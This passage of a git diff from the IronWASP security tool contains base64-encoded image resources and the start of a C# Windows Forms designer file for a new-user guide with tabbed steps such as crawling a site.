AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + 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 + + + \ No newline at end of file diff --git a/Iron/Docs/DocForNewUser.Designer.cs b/Iron/Docs/DocForNewUser.Designer.cs new file mode 100644 index 0000000..14a5289 --- /dev/null +++ b/Iron/Docs/DocForNewUser.Designer.cs @@ -0,0 +1,479 @@ +namespace IronWASP.Docs +{ + partial class DocForNewUser + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DocForNewUser)); + this.tabControl1 = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.pictureBox2 = new System.Windows.Forms.PictureBox(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.pictureBox5 = new System.Windows.Forms.PictureBox(); + this.label5 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.pictureBox4 = new System.Windows.Forms.PictureBox(); + this.pictureBox3 = new System.Windows.Forms.PictureBox(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.label7 = new System.Windows.Forms.Label(); + this.label6 = new System.Windows.Forms.Label(); + this.pictureBox7 = new System.Windows.Forms.PictureBox(); + this.pictureBox6 = new System.Windows.Forms.PictureBox(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.pictureBox12 = new System.Windows.Forms.PictureBox(); + this.label13 = new System.Windows.Forms.Label(); + this.pictureBox11 = new System.Windows.Forms.PictureBox(); + this.pictureBox10 = new System.Windows.Forms.PictureBox(); + this.pictureBox9 = new System.Windows.Forms.PictureBox(); + this.label12 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.label10 = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.pictureBox8 = new System.Windows.Forms.PictureBox(); + this.label8 = new System.Windows.Forms.Label(); + this.tabControl1.SuspendLayout(); + this.tabPage1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.tabPage2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox5)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox4)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); + this.tabPage3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox7)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox6)).BeginInit(); + this.tabPage4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox12)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox11)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox10)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox9)).BeginInit(); + this.tabPage5.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox8)).BeginInit(); + this.SuspendLayout(); + // + // tabControl1 + // + this.tabControl1.Controls.Add(this.tabPage1); + this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Controls.Add(this.tabPage3); + this.tabControl1.Controls.Add(this.tabPage4); + this.tabControl1.Controls.Add(this.tabPage5); + this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl1.Location = new System.Drawing.Point(0, 0); + this.tabControl1.Name = "tabControl1"; + this.tabControl1.SelectedIndex = 0; + this.tabControl1.Size = new System.Drawing.Size(884, 561); + this.tabControl1.TabIndex = 0; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.label3); + this.tabPage1.Controls.Add(this.label2); + this.tabPage1.Controls.Add(this.label1); + this.tabPage1.Controls.Add(this.pictureBox2); + this.tabPage1.Controls.Add(this.pictureBox1); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(876, 535); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " Step 1 - Crawling the site "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // label3 + // + this.label3.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.Location 